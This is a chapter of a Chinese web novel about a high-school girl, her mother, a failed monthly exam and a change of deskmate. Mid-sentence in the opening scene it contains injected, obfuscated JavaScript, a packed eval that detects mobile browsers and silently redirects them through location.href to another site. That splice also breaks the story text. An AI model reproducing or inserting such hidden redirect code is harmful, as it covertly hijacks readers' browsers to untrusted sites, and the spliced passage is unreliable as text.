…… 林时稔到家的时候,夜已经很深了。 还是第一次没有任何交代就这么晚归,用钥匙开门前,她心里有点忐忑,不知道要迎来什么样的暴风骤雨。 大门刚在身后闭合,客厅的灯就被人当头拍亮,林时稔本能地闭上眼睛。 视觉恢复的时候,她看见辛晓梅就坐在椅子上,餐桌上摆了四菜一汤,米饭也是盛好的,没有一点动筷的迹象。 那一瞬,喉咙突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347495|182069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然堵得难受。 辛晓梅从椅子上起身,眸色静然地开口:“下次不回来吃饭,跟我说一声。”没有唠叨、没有责怪,甚至连一点脾气都没有。 林时稔怔了怔,忍住眼角的湿意,迟钝地对着她的背影说:“我知道了,妈妈。” 辛晓梅脚步顿了一下:“别熬太晚。” 浴室里氤氲着水汽,林时稔在淋浴下彻彻底底地放空了一会大脑,最后长长呼出一口气。 气泄了,想要钻牛角尖的那股劲儿也就没了。 吹干头发,她趿着拖鞋出了浴室,去餐桌上把每盘菜都吃了一口,然后套上保鲜膜,重新放进冰箱里。 躺在床上的时候,好友申请那栏,就多了一条消息,验证消息简简单单就两个字——周凛。 真无语。 为什么不收现金?现金是触犯天条了吗?他就算不是渣男也是个怪癖男!可心里再不满,周凛也是债主,这种情况下根本没法拒绝这条好友申请。 林时稔磨磨蹭蹭了好久,才通过他的验证,她发了个一百块的红包过去,然后没有任何耽搁地锁屏睡觉。 二十四小时过去了,那个红包又被退了回来, 不过林时稔已经没有精力再关心这事儿了,因为第一次月考就要来了,就在八月底。 考试当天,林时稔起了个大早,不是故意的,是她做了一晚上关于考试的噩梦。不是忘带笔了,就是走错考场,最后铃响了也没答完卷,活活被吓醒。 高考不愧是常年霸占中式噩梦班榜首的项目。 她买了一笼小笼包在路上吃,因为怕去卫生间,还婉拒了店家赠送的小米粥。 汇文高中时按照成绩分考场,三十人一组,林时稔这次分在第二考场,大部分都是一班的同学,可她还是紧张。她一紧张小动作就特别多,原子笔在纤细指尖撞出“咔哒咔哒”的声响。 临考前五分钟,周凛出现在走廊里,书包也没背,经过的考场全都对他行注目礼,时不时地有人小声议论。和一群如临大敌的考生们相比,他的状态实在是太松弛了,松弛到令人讨厌。 希望他考砸。 可惜报应来得太快。 从来没有遇过这么刁钻的题,林时稔在考场上就深受打击,英语和化学算是她强项,但即使是这样,也只是勉强答完卷的程度,更别提本就薄弱的其他科目了。 公布成绩的那天下午,有人在教室门口喊她去办公室。 陈默拧开保温杯喝了口水,看着月考的成绩单,扭头看见林时稔坐姿瑟瑟的样子,责备的话突然就换了个语气:“这次考试,你退步了50名,你知道这意味着什么吗?有人开始发力,有人开始掉队,这就是高三,就是这么残酷。” 林时稔心里也不好受,她吸了吸鼻子:“陈老师,我会跟上队伍的。” 陈默没回她这句话,他撑着手肘,盯着她的试卷又来来回回翻了好几次,最后揉了揉眉心:“你和董蕊都是物理和数学薄弱,看来得把你俩分开了,我给你换个新同桌。” 顺着成绩单往上划,他的笔尖在沈序清和周凛的名字中徘徊几秒后,像是终于做了决定, 短短几秒钟,林时稔的心脏都要停了。 陈默抬头,目光移到她脸上:“你愿意跟沈序……” “咚咚咚。” 这时候,办公室门被人敲响,林时稔和陈默的视线都往门口去。 门一开,周凛从外面进来,他拧着眉,看起来有点心烦。 陈默眨了眨眼:“怎么了?” 不是又考了年级第一吗?比第二名多考了三十二分,还有什么不满意的? 周凛抬了抬眼:“陈老师,我想换个同桌。”